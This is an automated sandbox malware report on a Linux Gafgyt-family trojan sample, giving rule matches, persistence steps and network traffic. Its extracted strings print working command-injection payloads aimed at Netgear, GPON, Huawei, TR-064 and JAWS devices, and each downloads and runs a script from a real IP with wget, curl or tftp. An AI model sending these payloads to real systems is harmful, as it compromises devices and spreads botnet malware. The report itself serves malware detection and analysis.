Source: Process Memory Space: naZZ0BK2hf.elf PID: 6357, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6360, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6369, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6373, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6383, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6397, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6399, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6405, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6409, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6411, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6415, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6457, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6459, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6465, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6469, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6477, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6479, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6485, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6487, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6491, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6519, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6525, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6531, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6545, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6547, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6553, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Sample contains strings that are potentially command strings
Source: Initial sample Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://89.208.107.26/miniupd.sh;sh+/tmp/miniupd.sh
Source: Initial sample Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://89.208.107.26/miniupd.sh;${IFS}sh${IFS}/var/tmp/miniupd.sh
Source: Initial sample Potential command found: GET /shell?rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/jaws;sh+jaws HTTP/1.1
Source: Initial sample Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://89.208.107.26/miniupd.sh;chmod${IFS}777${IFS}miniupd.sh;sh${IFS}/tmp/miniupd.sh&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample Potential command found: GET /
Source: Initial sample Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://89.208.107.26/miniupd.sh;sh+/tmp/miniupd.sh%d.%d.%d.%dGET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://89.208.107.26/miniupd.sh;${IFS}sh${IFS}/var/tmp/miniupd.shPOST /soap.cgi?service=WANIPConn1 HTTP/1.1
Source: Initial sample Potential command found: GET /%s HTTP/1.0
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET HTTP/1.1
Source: Initial sample String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://89.208.107.26/diag00/log21.mips && chmod 777 log21.mips && ./log21.mips tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`rm -rf /tmp/* && /bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/msbin && chmod 777 /tmp/msbin && /tmp/msbin tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/huawei;chmod -x /tmp/huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon80;sh+/tmp/gpon80&ipv=0
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://89.208.107.26/diag00/log21.mips && chmod 777 log21.mips && ./log21.mips tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /UD/act?1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`rm -rf /tmp/* && /bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/msbin && chmod 777 /tmp/msbin && /tmp/msbin tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox tftp -g 89.208.107.26 -r /diag00/log21.mips -l /tmp/huawei;chmod -x /tmp/huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon80;sh+/tmp/gpon80&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;busybox+wget+http://89.208.107.26/miniupd.sh+-O+/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0GET /HEAD /POST /HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: Content-Length: h/bin/busybox/bin/watchdog/bin/systemdbin/busyboxbin/watchdogbin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: classification engine Classification label: mal100.spre.troj.linELF@0/0@41/0

Persistence and Installation Behavior
barindex
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 6234) Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6232) Mkdir executable: /usr/bin/mkdir -> mkdir bin Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6234) Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd Jump to behavior
Sample tries to set the executable flag
Source: /usr/bin/chmod (PID: 6234) File: /tmp/bin/systemd (bits: - usr: rwx grp: rwx all: rwx) Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/naZZ0BK2hf.elf (PID: 6229) Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/naZZ0BK2hf.elf bin/systemd; chmod 777 bin/systemd" Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/sh (PID: 6231) Rm executable: /usr/bin/rm -> rm -rf bin/systemd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 55212 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 53156 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 40486 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 35250 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 51688 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 46862 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 5555 -> 46862
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 49242 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 49242
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54732 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 54732
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 34100 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 37444 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34100 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52968 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 39440
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 37416 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 35342 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42484 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 60518 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 38536 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 57688 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 5555 -> 57688
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 41740 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 44438 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54426 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 5555 -> 54426
Source: unknown Network traffic detected: HTTP traffic on port 47664 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
